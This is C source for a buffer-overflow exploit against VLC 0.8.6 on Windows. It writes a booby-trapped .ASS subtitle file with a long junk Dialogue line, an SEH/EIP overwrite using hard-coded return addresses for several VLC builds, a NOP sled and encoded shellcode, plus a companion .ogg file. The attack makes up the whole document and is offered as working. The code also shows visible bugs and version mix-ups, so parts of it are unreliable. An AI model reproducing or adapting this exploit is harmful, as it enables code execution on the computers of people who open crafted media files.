|
/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal) [%]Works every time,works on any win32 OS,tested on Windows xp sp2. [%]My doctor said that I have seriuouse problems ,but I think he's full of it because the voices tell me I'm ok!*/ #include<stdio.h> #include<string.h> #include<stdint.h>
#define File "subtitle666.ass" #define OGGfile "openme.ogg" #define IF(x,NULL) if(x==NULL) #define FOR(i,a,b) for(i=a;i<b;++i) #define WHILE(z) while(z>0) #define is_bigendian() ((*(char*)&i)==0) #define EIP_OFFSET 163852 #define SEH_OFFSET 165248 #define NEXTSEH_OFFSET 165244 /*-------------prototypes---------*/ //100% working shellcode char vlcshellcode[]= { "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d" "\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c" "\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90" "\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4" "\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf" "\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd" "\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52" "\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1" "\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b" "\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9" }; char data[]= { "[Script Info]\n" "; Script generated by Aegisub\n" "; http://www.aegisub.net\n" "Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n" "Original Script: RoRo\n" "Script Updated By: version 2.8.01\n" "ScriptType: v4.00+\n" "Collisions: Normal\n" "PlayResY: 600\n" "PlayDepth: 0\n" "Timer: 100,0000\n" "Video Aspect Ratio: 0\n" "Video Zoom: 6\n" "Video Position: 0\n" "[V4+ Styles]\n" "Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n" "Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n" "[Events]\n" "Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n" "Dialogue:" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception }; char banner[]= { "******************************************************************\n" " VLC 0.6.8x Buffer overflow exploit(win32 universal) *\n" " *\n" " by fl0 fl0w *\n" "******************************************************************\n" }; char arguments[]= { "---------------------------\n" "Too few args! \n" "sploit.exe [target 1/2/3/4]\n" "---------------------------\n" }; // data + 165254 nop + shellcode + szJMP(strcat) /*--------extern variables----------*/ char b[1000000]; char c[1000000]; char d[1000000]; char f[1000000]; //1402 bytes nop char seh[]="\x87\x75\x40\x4B"; char nseh[]="\x38\xFA\x74\x02"; int i; int input; char bf[4]; int t; /*-------prototypes----------*/ int buildF(); int cpy(unsigned int,char*); void print(char*); void gen_random(char*, const int); unsigned int getFsize(FILE*,char*); int cpystr(char* dest,int,int); int oggf(char* fname); int Targetprint(); /*--------ogg file format---------*/ typedef struct aa { //28 bytes or 224 bits uint32_t Cp; // Capture pattern � 32 bits uint8_t Ver; // Version � 8 bits uint8_t H; // Header type � 8 bits uint64_t Gp; // Granule position � 64 bits uint32_t Bsn; // Bitstream serial number � 32 bits uint32_t Psn; // Page sequence number � 32 bits uint32_t C; // Checksum � 32 bits uint8_t Ps; // Page segments � 8 bits uint8_t St; // Segment table 8 bit }ogg; /*------targets------------*/ struct { unsigned int eip; char* etype; }RET[]= { { 0x026DFA38, "VLC 0.8.6 c" }, { 0x0263FA38, "VLC 0.8.6 b,d" }, { 0x0267FA38, "VLC 0.8.6 a" }, { 0x0267FA38, "VLC 0.8.6 b test1" }, { 0x02B6FA38, "VLC 0.8.6 RC1" }, { NULL,NULL } }; /*------main--------*/ int main(int argc,char* argv[]) { if(argc<2) { system("CLS"); printf("%s%s",banner,arguments); Targetprint();exit(0); } input=atoi(argv[1]); switch(input) { case 0: reverseInt(RET[0].eip); cpy(RET[0].eip,bf); break; case 1: reverseInt(RET[1].eip); cpy(RET[1].eip,bf); break; case 2: reverseInt(RET[2].eip); cpy(RET[2].eip,bf); break; case 3: reverseInt(RET[3].eip); cpy(RET[3].eip,bf); break; case 4: reverseInt(RET[4].eip); cpy(RET[4].eip,bf); break; } printf("[!]Using : %s retaddress\n",RET[input].etype); buildF(b); oggf(OGGfile); getchar(); return 0; } int buildF(unsigned int retn) { FILE *f=fopen(File,"wb"); IF(f,NULL) { print("File .ass error!"); exit(0);} gen_random(b,165267); /*EIP offset 165267 bytes [EIP][NOP nopoffset=164667 bytes][SHELLCODE nopoffset+nrbytes nop]*/ memcpy(b+EIP_OFFSET,bf,4); memset(b+EIP_OFFSET+4,0x90,10); memcpy(b+EIP_OFFSET+4+10,vlcshellcode,strlen(vlcshellcode)); fprintf(f,"%s%s",data,b); free(data); fclose(f); printf("[#]ASS file DONE!\n",getFsize(f,File)); return 0; } int oggf(char* fname) { FILE* g=fopen(fname,"wb"); IF(g,NULL) { print("File ogg error"); exit(0); } ogg *W666; W666=(ogg*)malloc(sizeof(ogg)); W666->Cp=0x5367674F; W666->Ver=0x00; W666->H=0x02; W666->Gp=0x00000000; W666->Bsn=0x000060B8; W666->Psn=0x00000000; W666->C=0xA403D2F8; W666->Ps=0x01; W666->St=0x1E; fwrite(W666,sizeof(W666),9,g); fclose(g); printf("[#]OGG file DONE!\n",getFsize(g,OGGfile)); return 0; } int cpy(unsigned int source,char* dest) { int len; len=4; memcpy(dest,&source,len+1); return len; } void print(char* msg) { printf("[*]%s\n",msg); } void gen_random(char *s, const int len) { static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } unsigned int getFsize(FILE* g,char* gname) { unsigned int s; g=fopen(gname,"rb"); IF(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s; } int reverseInt(unsigned int i) { unsigned char c1, c2, c3, c4; if(is_bigendian()) { return i; }else { c1=i&255; c2=(i>>8)&255; c3=(i>>16)&255; c4=(i>>24)&255; return((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4; } } int cpystr(char* dest,int str,int len) { memset(dest,str,len+1); return len; } int Targetprint() { print("Targets are:"); for(t=0;t<5;t++) printf("[!]%s - [0x%d] - %d\n",RET[t].etype,RET[t].eip,t); }
|